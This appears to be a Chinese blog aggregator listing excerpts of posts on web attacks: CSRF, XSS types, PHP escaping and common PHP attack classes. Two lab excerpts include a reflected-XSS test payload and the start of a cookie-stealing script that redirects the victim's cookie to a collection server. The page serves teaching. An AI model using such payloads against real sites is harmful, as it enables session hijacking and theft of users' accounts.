CSRF(Cross-site request forgery) CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的 ...
分类：
其他好文 时间：
2020-02-16 22:17:07
阅读次数：
89
escape 过滤器来过滤link，而实际上这里的 escape 过滤器，是用PHP内置函数 htmlspecialchars 来实现的 htmlspecialchars 函数定义如下： htmlspecialchars ：(PHP 4, PHP 5, PHP 7) 功能 ：将特殊字符转换为 HTM ...
分类：
编程语言 时间：
2020-02-16 22:15:36
阅读次数：
338
XSS（跨站脚本）概述 Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型： 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS; XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWA ...
分类：
其他好文 时间：
2020-02-16 16:18:29
阅读次数：
69
CSRF 在CSRF攻击场景中攻击者会伪造一个请求 （一个链接） 然后欺骗目标用户点击，用户一旦点击了这个请求，整个攻击也就完成了 所以CSRF攻击也被称为“one click“攻击 例子: 想要修改lucy购物地址信息 lucy必须处于登录的状态，lucy必须点击攻击链接 xss和csrf区别: ...
分类：
其他好文 时间：
2020-02-14 20:29:28
阅读次数：
78
XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中 ...
分类：
其他好文 时间：
2020-02-14 16:58:30
阅读次数：
81
1、CSRF攻击: CSRF（Cross-site request forgery）：跨站请求伪造。 (1)、攻击原理： 如上图，在B网站引诱用户访问A网站（用户之前登录过A网站，浏览器 cookie 缓存了身份验证信息）， 通过调用A网站的接口攻击A网站。 （2）、防御措施： 1）token验证： ...
分类：
Web程序 时间：
2020-02-14 01:01:21
阅读次数：
100
针对PHP的网站主要存在下面几种攻击方式: 1、命令注入(Command Injection) 2、eval注入(Eval Injection) 3、客户端脚本攻击(Script Insertion) 4、跨网站脚本攻击(Cross Site Scripting, XSS) 5、SQL注入攻击(SQ ...
分类：
Web程序 时间：
2020-02-13 20:57:06
阅读次数：
109
反射型XSS（get方式）：前端设置：查看页面源代码把长度20设置长一点方便输入语句： <script>alert(1)</script>，get形式的XSS会生成相应的url是比较好利用的一种漏洞。 反射型XSS(get)方式的案例演示：盗取用户cookie 本实验用的攻击服务器（收集cookie ...
分类：
其他好文 时间：
2020-02-13 00:21:50
阅读次数：
106
1.CSRF简介 CSRF的全名是Cross Site Request Forgery（跨站请求伪造），是一种诱使用户访问一个页面，然后盗用该用户身份在第三方站点里执行一次操作的攻击手段，其本质原因在于重要操作的所有参数都是可以被攻击者猜测到的。 2.CSRF检测 2.1 收集CSRF有利用价值的点 ...
分类：
其他好文 时间：
2020-02-13 00:17:50
阅读次数：
63
xss后台的安装 重定向到另一个可信网址 让点击者 不知情 1.cookie值获取 查看源代码 在反射型xss（get）页面下使用 <script> document.location = 'http://192.168.50.100/pkxss/xcookie/cookie.php?cookie= ...
分类：
其他好文 时间：
2020-02-12 19:02:30
阅读次数：
356
